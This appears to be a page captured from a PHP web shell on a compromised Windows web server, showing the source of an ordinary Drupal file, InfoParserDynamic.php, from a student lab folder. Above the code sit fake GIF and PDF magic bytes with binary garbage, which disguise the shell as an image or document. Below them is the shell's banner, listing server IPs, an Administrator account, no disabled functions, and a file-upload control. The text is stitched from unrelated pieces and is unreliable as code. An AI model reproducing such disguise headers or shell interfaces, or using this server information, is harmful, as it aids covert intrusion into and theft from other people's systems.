GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Extension/ |
Upload File : |
<?php namespace Drupal\Core\Extension; use Drupal\Component\Serialization\Exception\InvalidDataTypeException; use Drupal\Core\Serialization\Yaml; /** * Parses dynamic .info.yml files that might change during the page request. */ class InfoParserDynamic implements InfoParserInterface { /** * {@inheritdoc} */ public function parse($filename) { if (!file_exists($filename)) { $parsed_info = []; } else { try { $parsed_info = Yaml::decode(file_get_contents($filename)); } catch (InvalidDataTypeException $e) { throw new InfoParserException("Unable to parse $filename " . $e->getMessage()); } $missing_keys = array_diff($this->getRequiredKeys(), array_keys($parsed_info)); if (!empty($missing_keys)) { throw new InfoParserException('Missing required keys (' . implode(', ', $missing_keys) . ') in ' . $filename); } if (isset($parsed_info['version']) && $parsed_info['version'] === 'VERSION') { $parsed_info['version'] = \Drupal::VERSION; } } return $parsed_info; } /** * Returns an array of keys required to exist in .info.yml file. * * @return array * An array of required keys. */ protected function getRequiredKeys() { return ['type', 'core', 'name']; } }